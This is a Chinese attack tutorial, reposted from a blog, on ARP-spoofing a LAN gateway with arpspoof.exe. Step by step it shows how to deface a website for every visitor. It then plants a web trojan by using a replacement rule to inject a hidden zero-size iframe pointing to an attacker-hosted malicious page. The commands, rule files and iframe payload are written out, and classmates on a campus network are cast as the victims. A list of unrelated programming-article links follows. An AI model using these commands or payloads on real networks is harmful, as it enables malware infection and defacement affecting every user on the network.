ARP挂马***--嗅探欺骗的最恐怖方式
局域网内"交换型"网络环境中的嗅探***,利用的是ARP欺骗的原理,它是点对点地发生在3台主机(网关、欺骗主机与被欺骗主机)之间的。
然而在2007年初,以ARPSpoof工具为代表的新兴ARP欺骗技术发生了变化,直接针对网关进行欺骗,让通过网关访问网络的所有主机全被欺骗***,以造成网站被***的假象,或者直接访问到***网页。
也就是说,一对一的***技术发展为一对多的***模式。而且,新兴的ARP欺骗技术,不仅可以在局域网中使用,还被广泛地应用在Internet网络中,***目标的范围更加广泛。
---------------------------------------------------------------------------------------------------------------------
ARPSpoof欺骗 公司网页被黑挂马
ARPSpoof是一个ARP欺骗***工具,它的应用环境非常广泛。
首先,在普通的公司、企业或网吧等局域网中,无论是采用Hub集线器、路由器还是采用交换机组建的局域网都适用。其次,在光纤和宽带等Internet网络中,有许多用户采用静态分配IP地址的方式上网,即使用公共的网关IP地址,这类处于同一网段内的公网网络也会遭到***。
此外,在普通的Internet中也能应用ARP欺骗***。例如,***者要***腾讯网站,只需要***与腾讯网在同一网段的某台主机,然后运行ARPSpoof,就可以达到在腾讯网上挂马的目的。普通浏览网页的用户对此根本无能为力,只有依靠腾讯网站管理员在网关上安装ARP防火墙才可以防止此类***。
可见ARPSpoof的危害是如此的大。特别是***者在******过程中,只要进入了内网,就可以利用ARPSpoof进行ARP欺骗挂马***,从而让内网中的所有用户都被******。
***只需一步,即可完成内网***中的横向权限提升***。
1.网站被黑的假象
为了说明ARPSpoof的***原理,这里利用ARPSpoof进行一次网站被黑的欺骗***的操作。***的效果是,在局域网中让所有用户访问内部网站服务器时,网页上显示被******的信息。
1)查询网关与网站服务器的IP地址
在命令窗口中执行命令:
 
    
  1. ipconfig /all 
此命令是显示本机网络信息的。其中"Default Gateway"显示为"192.168.1.1",就是网关IP地址;本机IP地址为"192.168.1.8",如图8-39所示。
再执行命令:
 
    
  1. ping 网站网址 
即可知道要***的网站内网的IP地址,这里假设目标网站的IP地址为"192.168.1.8"。
2)生成欺骗规则
下载ARP欺骗工具"arpspoof 3.1b",打开命令窗口并进入程序所在的文件夹,执行如下命令(见图8-40):
 
    
  1. arpspoof.exe /n 
 
(点击查看大图)图8-39  获得网关服务器的IP地址
 
(点击查看大图)图8-40  导出欺骗规则
命令执行成功后,会在当前文件夹中生成一个名为"job.txt"的文件,此文件是用于定义欺骗规则的。用记事本打开"job.txt"文件,在文件中可以看到如下内容:
 
    
  1. ----  
  2. HTTP/1.  
  3. ----  
  4. HTTP/1.1 200 OK\r\nServer: CoolDiyer's Hack 
    IIS\r\nContent-Length: 27\r\nConnection:    
    close\r\nContent-Type: text/html\r\n\r\nHack
    by cooldiyer
    <noframes> 
  5. ---- 
"HTTP/1"表示嗅探到数据包中的数据,"HTTP/1.1 200 OK\r\nServer: CoolDiyer's Hack IIS\r\nContent-Length: 27\r\nConnection: close\r\nContent-Type: text/html\r\n\r\nHack by cooldiyer"表示要替换成的字符。也就是说,嗅探到"HTTP/1."数据后,自动将其替换为后者的内容。替换后在网页中显示"Hack by cooldiyer"字符串,并且可以将"cooldiyer"替换为任意名称,如图8-41所示,修改后保存文件。 </div> <div> <table class="ln" align="center" border="1"> <tbody> <tr> <td> </td> </tr> <tr> <td class="it">(点击查看大图)图8-41  修改的规则文件</td> </tr> </tbody> </table>该规则文件的书写格式为: <br> </div> <pre></pre> <ol class="dp-xml"> <li class="alt"><span><span>----  </span></span></li> <li><span>原字符串  </span></li> <li class="alt"><span>----  </span></li> <li><span>替换后的字符串  </span></li> <li class="alt"><span>---- </span></li> </ol> <div> 可以用同样的格式书写多行替换字符。例如,修改成如下内容: <br> </div> <pre></pre> <ol class="dp-xml"> <li class="alt"><span><span>----  </span></span></li> <li><strong><font color="#006699"><span class="tag"><</span><span class="tag-name">hea</span></font></strong><span> </span></li> <li class="alt"><span>----  </span></li> <li><span>Hack by 冰河洗剑</span><strong><font color="#006699"><span class="tag"><</span><span class="tag-name">noframes</span><span class="tag">></span></font></strong><span> </span></li> <li class="alt"><span>----  </span></li> <li><strong><font color="#006699"><span class="tag"><</span><span class="tag-name">HEA</span></font></strong><span> </span></li> <li class="alt"><span>----  </span></li> <li><span>Hack by 冰河洗剑</span><strong><font color="#006699"><span class="tag"><</span><span class="tag-name">noframes</span><span class="tag">></span></font></strong><span> </span></li> <li class="alt"><span>---- </span></li> </ol> <div> 该规则可将捕获到的网络数据包中的"<hea"或"<HEA",替换为"Hack by 冰河洗剑"的字样。如果用户对网页源代码编辑比较熟悉的话,就可以随心所欲地替换代码,以显示想要的效果。 </div> <div> <strong>3)欺骗***</strong> </div> <div> 在命令行下执行命令(见图8-42): </div> <pre></pre> <ol class="dp-xml"> <li class="alt"><span><span>arpspoof.exe /l </span></span></li> </ol> <div> 将会显示当前的网络配置信息,包括网卡的数目,以及网关与本机的IP地址。本机有两块网卡,选择用于欺骗***的网卡为"1.Realtek RTL8139",因此网卡序号为0。如果只有一块网卡,则网卡的序号直接为0。由此,可执行如下命令(见图8-43): </div> <pre></pre> <ol class="dp-xml"> <li class="alt"><span><span>arpspoof.exe  192.168.1.1  192.168.1.8  80 1 1 /r job.txt </span></span></li> </ol> <div> <table class="ln" align="center" border="1"> <tbody> <tr> <td> </td> </tr> <tr> <td class="it">(点击查看大图)图8-42  显示当前的网络配置信息</td> </tr> </tbody> </table> <table class="ln" align="center" border="1"> <tbody> <tr> <td> </td> </tr> <tr> <td class="it">(点击查看大图)图8-43  执行ARP欺骗</td> </tr> </tbody> </table> </div> <div> 命令执行后即可开始嗅探欺骗***。当校园网内的计算机访问校园网站(192.168.1.8)时,都必须通过网关(192.168.1.1)转发数据,才能访问到校园网站。如果要终止ARP欺骗***,可以按【Ctrl+C】组合键,提示Reseting后,等待5秒钟,整个局域网即可恢复正常。 </div> <div> 由于本机(192.168.1.198)正在进行ARP欺骗***,该欺骗代替了真正的校园网站,并且网关会将访问者计算机的数据转发到本机上。因此,在进行ARP欺骗***后,其他同学访问到的实际上是***者设置的数据--其他同学访问校园网站时,打开的网页不是真实的网页,而是被替换后的页面,如图8-44所示。 </div> <div> <table class="ln" align="center" border="1"> <tbody> <tr> <td> </td> </tr> <tr> <td class="it">(点击查看大图)图8-44  被黑网页</td> </tr> </tbody> </table> </div> <div> <strong>2.内网挂马,ARP欺骗在***中的应用</strong> </div> <div> ***者除了制造网站服务器被黑的假象外,还可以制造真正的***--使访问该网页的所有主机都被***程序***,让***者直接利用网页***提升权限并控制内网中所有的主机。 </div> <div> <strong>1)制作网页***</strong> </div> <div> 首先,***者需要制作一个网页***,可以使用"微软Ani网页***生成器",如图8-45所示。在上方输入本机的IP地址,这里是" http://192.168.1.198/";在下方输入***程序链接地址,这里***者直接在本地建立一个网站,因此***可以直接放在***主机上。 </div> <div> 单击【生成网页***】按钮,即可在软件当前目录下生成3个文件:"index.htm"、"z1.jpg"、"z2.jpg",如图8-46所示。在"C:\"目录下新建一个名称为"WEB"的文件夹,将这3个文件和***程序都复制到"C:\WEB"文件夹中。 </div> <div> <table class="ln" align="center" border="1"> <tbody> <tr> <td> </td> </tr> <tr> <td class="it">(点击查看大图)图8-45  微软Ani网页***生成器</td> </tr> </tbody> </table> <table class="ln" align="center" border="1"> <tbody> <tr> <td> </td> </tr> <tr> <td class="it">(点击查看大图)图8-46  生成的网页***</td> </tr> </tbody> </table> </div> <div> <strong>2)建立***的网页服务</strong> </div> <div> 运行"紫雨轩 ASP Web 服务器 v1.0.4.10",如图8-47所示,这是一个小型的Web服务器软件。 </div> <div> 单击工具栏中的【参数设置】按钮,在弹出的"参数设置"对话框中设置"根目录"为"C:\web",将"缺省文件"设置为"index.htm",其他项保持默认,单击【OK】按钮,完成设置,如图8-48所示。 </div> <div> <table class="ln" align="center" border="1"> <tbody> <tr> <td> </td> </tr> <tr> <td class="it">(点击查看大图)图8-47  紫雨轩 ASP Web 服务器</td> </tr> </tbody> </table> <table class="ln" align="center" border="1"> <tbody> <tr> <td> </td> </tr> <tr> <td class="it">(点击查看大图)图8-48  "参数设置"对话框</td> </tr> </tbody> </table>在浏览器中输入本机的IP地址,按【Enter】键后即可打开***网页,如图8-49所示。这是一个空白网页,但是杀毒软件会在打开网页时提示警告,说明网页***成功建立。 <br> <table class="ln" align="center" border="1"> <tbody> <tr> <td> </td> </tr> <tr> <td class="it">(点击查看大图)图8-49  网页***建立成功</td> </tr> </tbody> </table> </div> <div> <strong>3)建立挂马规则</strong> </div> <div> 修改前面生成的"job.txt"文件,修改后的内容如下: <br> </div> <pre></pre> <ol class="dp-xml"> <li class="alt"><span><span>----  </span></span></li> <li><strong><font color="#006699"><span class="tag"></</span><span class="tag-name">HTML</span><span class="tag">></span></font></strong><span> </span></li> <li class="alt"><span>----  </span></li> <li><strong><font color="#006699"><span class="tag"><</span><span class="tag-name">iframe</span></font></strong><span> </span><span class="attribute"><font color="#ff0000">src</font></span><span>=</span><span class="attribute-value"><font color="#0000ff">http</font></span><span>://192.168.1.198/index.htm </span><span class="attribute"><font color="#ff0000">width</font></span><span>=</span><span class="attribute-value"><font color="#0000ff">0</font></span><span> </span><span class="attribute"><font color="#ff0000">height</font></span><span>=</span><span class="attribute-value"><font color="#0000ff">0</font></span><strong><font color="#006699"><span class="tag">></span><span class="tag"></</span><span class="tag-name">iframe</span><span class="tag">></span><span class="tag"></</span><span class="tag-name">HTML</span><span class="tag">></span></font></strong><span> </span></li> </ol> <div> 保存该文件后,同样用上面的方法进行ARP欺骗,在命令行下执行命令(见图8-50): </div> <pre></pre> <ol class="dp-xml"> <li class="alt"><span><span>arpspoof.exe  192.168.1.8  192.168.1.1  80 0 0 /r job.txt </span></span></li> </ol> <div> <table class="ln" align="center" border="1"> <tbody> <tr> <td> </td> </tr> <tr> <td class="it">(点击查看大图)图8-50  ARP欺骗挂马***</td> </tr> </tbody> </table>执行该命令后,即使有人访问该网站服务器,也不会显示任何异常,打开的仍然是正常的网站网页,但网页***已经嵌入其中了。而且访问网站服务器上的任何一个网页文件都会中***病毒。 <br> </div> </div> </div> <p>转载于:https://blog.51cto.com/suguiyang/261745</p> </div> </div> </div> </div> </div> <!--PC和WAP自适应版--> <div id="SOHUCS" sid="1295467685009760256"></div> <script type="text/javascript" src="/views/front/js/chanyan.js"></script> <!-- 文章页-底部 动态广告位 --> <div class="youdao-fixed-ad" id="detail_ad_bottom"></div> </div> <div class="col-md-3"> <div class="row" id="ad"> <!-- 文章页-右侧1 动态广告位 --> <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_1"> </div> </div> <!-- 文章页-右侧2 动态广告位 --> <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_2"></div> </div> <!-- 文章页-右侧3 动态广告位 --> <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_3"></div> </div> </div> </div> </div> </div> </div> <div class="container"> <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(ARP挂马***--嗅探欺骗的最恐怖方式)</h4> <div id="paradigm-article-related"> <div class="recommend-post mb30"> <ul class="widget-links"> <li><a href="/article/1880530479841603584.htm" title="vant组件库的按需导入导出" target="_blank">vant组件库的按需导入导出</a> <span class="text-muted">ordinary90</span> <a class="tag" taget="_blank" href="/search/VUE/1.htm">VUE</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF%E5%85%A8%E6%A0%88%E5%BC%80%E5%8F%91/1.htm">前端全栈开发</a><a class="tag" taget="_blank" href="/search/vue.js/1.htm">vue.js</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a> <div>vant是一个基于Vue的移动端UI组件库,它提供了丰富的组件和样式,可以帮助我们快速构建移动端应用。在使用vant组件库时,可以通过按需导入导出的方式来减小打包体积,提高应用的性能。按需导入导出的原理是根据需要只加载使用到的组件和样式,而不是将整个组件库都打包到应用中。下面是一个使用vant组件库实现按需导入导出的详细解析和代码实例。安装vant组件库首先,在命令行中使用npm或者yarn安装v</div> </li> <li><a href="/article/1880529471946158080.htm" title="设计模式-生成器模式(建造者模式)-(Builder)" target="_blank">设计模式-生成器模式(建造者模式)-(Builder)</a> <span class="text-muted">树懒_Zz</span> <a class="tag" taget="_blank" href="/search/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F/1.htm">设计模式</a><a class="tag" taget="_blank" href="/search/%E5%BB%BA%E9%80%A0%E8%80%85%E6%A8%A1%E5%BC%8F/1.htm">建造者模式</a> <div>生成器模式是一种创建型设计模式,使你能够分步骤创建复杂对象。该模式允许你使用相同的创建代码生成不同类型和形式的对象。就像流水线的组装机器人一样,一件产品组装分成好几部,每一个工位组装不同的内容。问题:譬如你开了一家公司,专门承接私人建房,建房有的人要求:自带车库的房子、带游泳池的房子、装饰豪华的房子和带花园的房子等等。如果你基于这些创建了一个构造函数:House(windows,doors,roo</div> </li> <li><a href="/article/1880528842121080832.htm" title="drogon orm分页问题,req->getJsonObject()为空会导致Segmentation fault" target="_blank">drogon orm分页问题,req->getJsonObject()为空会导致Segmentation fault</a> <span class="text-muted">zh7314</span> <div>2024年6月22日17:14:12req->getJsonObject()获取json数据的时候,如果没有提前判断if(req->getJsonObject()==nullptr){throwstd::invalid_argument("参数json不能为空");}autojsonPtr=req->getJsonObject();官方文档:https://github.com/drogonfra</div> </li> <li><a href="/article/1880528462561734656.htm" title="重生之我在异世界学编程之算法与数据结构:算法复杂度介绍篇" target="_blank">重生之我在异世界学编程之算法与数据结构:算法复杂度介绍篇</a> <span class="text-muted">就爱学编程</span> <a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E4%B8%8E%E7%AE%97%E6%B3%95/1.htm">数据结构与算法</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/1.htm">数据结构</a><a class="tag" taget="_blank" href="/search/%E6%8E%92%E5%BA%8F%E7%AE%97%E6%B3%95/1.htm">排序算法</a> <div>大家好,这里是小编的博客频道小编的博客:就爱学编程很高兴在CSDN这个大家庭与大家相识,希望能在这里与大家共同进步,共同收获更好的自己!!!本文目录引言正文一时间复杂度1.常数时间复杂度O(1)2.线性时间复杂度O(n)3.对数时间复杂度O(logn)4.平方时间复杂度O(n^2)5.指数时间复杂度O(2^n)二空间复杂度(1)空间复杂度的定义与重要性(2)常见的空间复杂度类型及介绍1.常数空间复</div> </li> <li><a href="/article/1880528463685808128.htm" title="重生之我在异世界学编程之算法与数据结构:深入静态顺序表篇" target="_blank">重生之我在异世界学编程之算法与数据结构:深入静态顺序表篇</a> <span class="text-muted">就爱学编程</span> <a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84%E4%B8%8E%E7%AE%97%E6%B3%95/1.htm">数据结构与算法</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/1.htm">数据结构</a> <div>大家好,这里是小编的博客频道小编的博客:就爱学编程很高兴在CSDN这个大家庭与大家相识,希望能在这里与大家共同进步,共同收获更好的自己!!!本文目录引言正文一、顺序表的概念及结构1.顺序表的定义2.顺序表的结构3.顺序表的初始化二、顺序表的基本操作(静态)1.插入操作2.删除操作3.查找操作4.更新操作5.获取元素操作6.遍历操作7.求顺序表的长度8.判断顺序表是否为空快乐的时光总是短暂,咱们下篇</div> </li> <li><a href="/article/1880528210370818048.htm" title="重生之我在异世界学编程之C语言:深入动态内存管理篇" target="_blank">重生之我在异世界学编程之C语言:深入动态内存管理篇</a> <span class="text-muted">就爱学编程</span> <a class="tag" taget="_blank" href="/search/C%E8%AF%AD%E8%A8%80/1.htm">C语言</a><a class="tag" taget="_blank" href="/search/c%E8%AF%AD%E8%A8%80/1.htm">c语言</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/android/1.htm">android</a> <div>大家好,这里是小编的博客频道小编的博客:就爱学编程很高兴在CSDN这个大家庭与大家相识,希望能在这里与大家共同进步,共同收获更好的自己!!!本文目录引言正文一动态内存管理的必要性二动态内存管理的关键函数1.`malloc`函数2.`calloc`函数3.`realloc`函数4.`free`函数三动态内存管理中的错误和最佳实践1.内存泄漏2.野指针3.内存越界四动态内存管理的高级主题内存分配器内存</div> </li> <li><a href="/article/1880528209699729408.htm" title="重生之我在异世界学编程之C语言:深入指针篇(上)" target="_blank">重生之我在异世界学编程之C语言:深入指针篇(上)</a> <span class="text-muted">就爱学编程</span> <a class="tag" taget="_blank" href="/search/C%E8%AF%AD%E8%A8%80/1.htm">C语言</a><a class="tag" taget="_blank" href="/search/c%E8%AF%AD%E8%A8%80/1.htm">c语言</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>大家好,这里是小编的博客频道小编的博客:就爱学编程很高兴在CSDN这个大家庭与大家相识,希望能在这里与大家共同进步,共同收获更好的自己!!!本文目录引言正文(1)内置数据类型指针(2)自定义类型指针1.数组指针与指针数组2.结构体指针3.联合体指针(1)联合体指针的定义(2)联合体指针的使用(3)联合体指针的注意事项(3)函数指针1.函数指针的定义2.函数指针的赋值3.函数指针的使用4.函数指针作</div> </li> <li><a href="/article/1880527957492035584.htm" title="Centos7.6离线安装软件" target="_blank">Centos7.6离线安装软件</a> <span class="text-muted">PascalMing</span> <a class="tag" taget="_blank" href="/search/Linux/1.htm">Linux</a><a class="tag" taget="_blank" href="/search/Centos/1.htm">Centos</a><a class="tag" taget="_blank" href="/search/yum/1.htm">yum</a><a class="tag" taget="_blank" href="/search/ntp/1.htm">ntp</a><a class="tag" taget="_blank" href="/search/%E7%A6%BB%E7%BA%BF%E5%AE%89%E8%A3%85/1.htm">离线安装</a> <div>在离线情况下,安装Centos软件,有几个方法1、直接下载离线软件包如果能直接下载离线软件包,是最省事的方法,可以直接baidu查找试试,或到下面这个网址试试:PackagesforLinuxandUnix-pkgs.orgUbuntu各版本的软件比较齐全,下载后直接安装即可由于Centos目前逐步停止支持,导致不少安装包不容易找到,可以试试第2种方法2、使用yum的离线包下载功能yum将一个包下</div> </li> <li><a href="/article/1880527705447919616.htm" title="GitLab:添加SSH密钥之前,您不能通过SSH来拉取或推送项目代码" target="_blank">GitLab:添加SSH密钥之前,您不能通过SSH来拉取或推送项目代码</a> <span class="text-muted">dingcho</span> <a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/gitlab/1.htm">gitlab</a><a class="tag" taget="_blank" href="/search/ssh/1.htm">ssh</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a> <div>1、查看服务器是否配置过[root@kingbal-ecs-7612~]#cd.ssh/[root@kingbal-ecs-7612.ssh]#lsauthorized_keysid_ed25519id_ed25519.pubid_rsaid_rsa.pub2、创建密钥$ssh-keygen-trsa-C'kingbal@kingbal.com'#-C后写你的邮箱一路回车3、复制密钥[root@k</div> </li> <li><a href="/article/1880527577471315968.htm" title="MySQL:下划线处理" target="_blank">MySQL:下划线处理</a> <span class="text-muted">dingcho</span> <a class="tag" taget="_blank" href="/search/%E5%AD%98%E5%82%A8%E6%95%B0%E6%8D%AE/1.htm">存储数据</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a> <div>要查询MySQL中不包含下划线的字符串,可以使用NOTLIKE操作符。以下是一个示例SQL查询,它选出所有不包含下划线的记录:SELECT*FROMyour_tableWHEREyour_columnNOTLIKE'%_%';这样其实是查询不出来记录的,我们需要将其转义一下SELECT*FROMyour_tableWHEREyour_columnNOTLIKE'%\_%';</div> </li> <li><a href="/article/1880527451134685184.htm" title="C语言入门算法——明明的随机数" target="_blank">C语言入门算法——明明的随机数</a> <span class="text-muted">0X78</span> <a class="tag" taget="_blank" href="/search/C%E8%AF%AD%E8%A8%80/1.htm">C语言</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a><a class="tag" taget="_blank" href="/search/c%E8%AF%AD%E8%A8%80/1.htm">c语言</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E7%BB%93%E6%9E%84/1.htm">数据结构</a> <div>题目描述:明明想在学校中请一些同学一起做一项问卷调查,为了实验的客观性,他先用计算机生成了N个1到1000之间的随机整数(N≤100),对于其中重复的数字,只保留一个,把其余相同的数去掉,不同的数对应着不同的学生的学号。然后再把这些数从小到大排序,按照排好的顺序去找同学做调查。请你协助明明完成“去重”与“排序”的工作。输入格式输入有两行,第1行为1个正整数,表示所生成的随机数的个数N。第2行有N个</div> </li> <li><a href="/article/1880526695648260096.htm" title="【3. 深入解析 C++ 数据类型:全方位指南】" target="_blank">【3. 深入解析 C++ 数据类型:全方位指南】</a> <span class="text-muted">涛ing</span> <a class="tag" taget="_blank" href="/search/C%2B%2B%E5%9F%BA%E7%A1%80/1.htm">C++基础</a><a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/c%E8%AF%AD%E8%A8%80/1.htm">c语言</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/visual/1.htm">visual</a><a class="tag" taget="_blank" href="/search/studio/1.htm">studio</a><a class="tag" taget="_blank" href="/search/vscode/1.htm">vscode</a><a class="tag" taget="_blank" href="/search/vim/1.htm">vim</a> <div>本章目录:前言1.什么是数据类型?2.C++基本数据类型类型修饰符3.数据类型的大小和范围4.高级数据类型:`typedef`和`enum``typedef`类型别名枚举类型(`enum`)5.类型转换1.静态转换(`static_cast`)2.动态转换(`dynamic_cast`)3.常量转换(`const_cast`)4.重新解释转换(`reinterpret_cast`)6.实用技巧:提</div> </li> <li><a href="/article/1880525688314851328.htm" title="性能场景之异常场景" target="_blank">性能场景之异常场景</a> <span class="text-muted">wfw123123</span> <a class="tag" taget="_blank" href="/search/%E6%80%A7%E8%83%BD%E6%B5%8B%E8%AF%95/1.htm">性能测试</a><a class="tag" taget="_blank" href="/search/html5/1.htm">html5</a><a class="tag" taget="_blank" href="/search/%E7%89%A9%E8%81%94%E7%BD%91/1.htm">物联网</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%8E%8B%E5%8A%9B%E6%B5%8B%E8%AF%95/1.htm">压力测试</a> <div>谈到异常场景,其实大家并不陌生,我们在做功能测试的时候,也要考虑异常用例,例如:切换网络,断网,中断使用等等。那么,性能中的异常场景,我们具体该怎么做呢?设计哪些问题才能将异常场景覆盖完整?这就需要我们明确两个关键点:一是异常场景的范围,二是异常场景的设计逻辑。异常场景的范围我理解的异常场景中,基本上采用的就是是宕主机、断网络、宕应用这几种测试手段。此外,从主机、网络、应用等角度出发,还会有一些细</div> </li> <li><a href="/article/1880525183941406720.htm" title="STM32的DMA作用" target="_blank">STM32的DMA作用</a> <span class="text-muted">嵌入式小强工作室</span> <a class="tag" taget="_blank" href="/search/stm32/1.htm">stm32</a><a class="tag" taget="_blank" href="/search/%E5%B5%8C%E5%85%A5%E5%BC%8F%E7%A1%AC%E4%BB%B6/1.htm">嵌入式硬件</a><a class="tag" taget="_blank" href="/search/%E5%8D%95%E7%89%87%E6%9C%BA/1.htm">单片机</a> <div>STM32的DMA(DirectMemoryAccess),即直接存储器存取,是一个重要的外设功能,它的主要作用是实现数据在外设和存储器之间或者存储器和存储器之间的高速传输,而无需CPU的干预。以下是对STM32的DMA作用的详细解释:数据高速传输:DMA能够在没有CPU参与的情况下,快速地将数据从一个地址传输到另一个地址。这种传输方式极大地提高了数据传输的速度,因为CPU无需在每个数据传输周期中</div> </li> <li><a href="/article/1880524302198042624.htm" title="CAS一定有自旋吗?" target="_blank">CAS一定有自旋吗?</a> <span class="text-muted">IsToRestart</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>不一定,但是通常为了提高CAS的成功率,会考虑做自旋。最简单的自旋就是while(true)通常情况下,CAS操作都会采用自旋的方式,当CAS失败时,会重新尝试执行CAS操作,直到操作成功或达到最大重试次数为止。因为,CAS操作一般都是在多线程并发访问时使用,如果直接阻塞线程,会导致性能下降,而采用自旋的方式,可以让CPU空转一段时间,等待锁被释放,从而避免线程切换和阻塞的开销。但是,如果自旋时间</div> </li> <li><a href="/article/1880523041763553280.htm" title="Java 异常处理" target="_blank">Java 异常处理</a> <span class="text-muted">大哥的打嗝</span> <a class="tag" taget="_blank" href="/search/JAVA/1.htm">JAVA</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/jvm/1.htm">jvm</a><a class="tag" taget="_blank" href="/search/servlet/1.htm">servlet</a> <div>Java是一种面向对象的编程语言,Java程序在运行时可能会发生各种异常,如空指针异常、文件读取异常、算术异常等。在Java中,异常是指程序运行时可能会发生的错误,例如输入不正确、内存不足等等,这些异常会影响程序的正常执行。因此,Java提供了异常处理机制来处理这些异常,以保证程序的稳定性和可靠性。Java中的异常处理机制是通过throw和try-catch语句实现的。在Java中,throw语句</div> </li> <li><a href="/article/1880520901074677760.htm" title="软件测试基础入门" target="_blank">软件测试基础入门</a> <span class="text-muted">运筹帷幄小红花</span> <a class="tag" taget="_blank" href="/search/%E8%BD%AF%E4%BB%B6%E6%B5%8B%E8%AF%95/1.htm">软件测试</a><a class="tag" taget="_blank" href="/search/%E8%BD%AF%E4%BB%B6%E6%B5%8B%E8%AF%95/1.htm">软件测试</a> <div>一、基础概念什么是软件:控制计算机硬件的工具,操作系统软件、应用软件软件基本组成:客户端、服务器、数据库软件产生过程:需求构思-->需求文档-->UI/UE-->产品研发-->产品测试-->部署上线什么是软件测试:使用技术手段验证软件是否满足需求软件测试的目的:减少软件中的缺陷,保证软件质量;二、主流技术1、功能测试:执行测试用例2、自动化测试:通过工具或代码执行测试用例,场景:回归测试,新增功能</div> </li> <li><a href="/article/1880520774641577984.htm" title="华为机试【机器人走迷宫】" target="_blank">华为机试【机器人走迷宫】</a> <span class="text-muted">weixin_41934659</span> <a class="tag" taget="_blank" href="/search/%E5%8D%8E%E4%B8%BA%E6%9C%BA%E8%AF%95/1.htm">华为机试</a><a class="tag" taget="_blank" href="/search/Java/1.htm">Java</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E7%AE%97%E6%B3%95/1.htm">算法</a> <div>标题:机器人走迷宫|时间限制:1秒|内存限制:65536K|语言限制:不限【机器人走迷宫】1、房间由XY的方格组成,例如下图为64的大小。每一个方格以坐标(x,y)描述。2、机器人固定从方格(0,0)出发,只能向东或者向北前进。出口固定为房间的最东北角,如下图的方格(5,3)。用例保证机器人可以从入口走到出口。3、房间有些方格是墙壁,如(4,1),机器人不能经过那儿。4、有些地方是一旦到达就无法走</div> </li> <li><a href="/article/1880520772250824704.htm" title="qt/c++学习笔记之基于tcp的文件同步程序demo(第二部分)" target="_blank">qt/c++学习笔记之基于tcp的文件同步程序demo(第二部分)</a> <span class="text-muted">Bryce学亮</span> <a class="tag" taget="_blank" href="/search/qt/1.htm">qt</a><a class="tag" taget="_blank" href="/search/c%2B%2B/1.htm">c++</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a> <div>server服务器端头文件filebase.h#ifndefFILEBASE_H#defineFILEBASE_H#include#include#include#include#includeenumMsgType{MsgTypeInvaid=0,MsgTypeFile,MsgTypeDel,MsgTypeRename};classfilebase:publicQObject{Q_OBJECTp</div> </li> <li><a href="/article/1880520645855473664.htm" title="线程池创建及参数设置" target="_blank">线程池创建及参数设置</a> <span class="text-muted">运筹帷幄小红花</span> <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a><a class="tag" taget="_blank" href="/search/%E5%90%8E%E7%AB%AF/1.htm">后端</a> <div>一、创建线程池以及线程池的各种参数分析://不指定最大线程数,默认是Int的最大值ExecutorServiceexecutorService=Executors.newCachedThreadPool();executorService.submit(()->{System.out.println("新建线程池对象,执行第一个默认线程");});executorService.shutdown(</div> </li> <li><a href="/article/1880519889697959936.htm" title="ubuntu GRPC protobuf 环境安装" target="_blank">ubuntu GRPC protobuf 环境安装</a> <span class="text-muted">zhurui_xiaozhuzaizai</span> <a class="tag" taget="_blank" href="/search/%E6%88%91%E7%9A%84%E7%BB%8F%E9%AA%8C/1.htm">我的经验</a><a class="tag" taget="_blank" href="/search/linux%E7%B3%BB%E7%BB%9F/1.htm">linux系统</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/ubuntu/1.htm">ubuntu</a><a class="tag" taget="_blank" href="/search/bash/1.htm">bash</a> 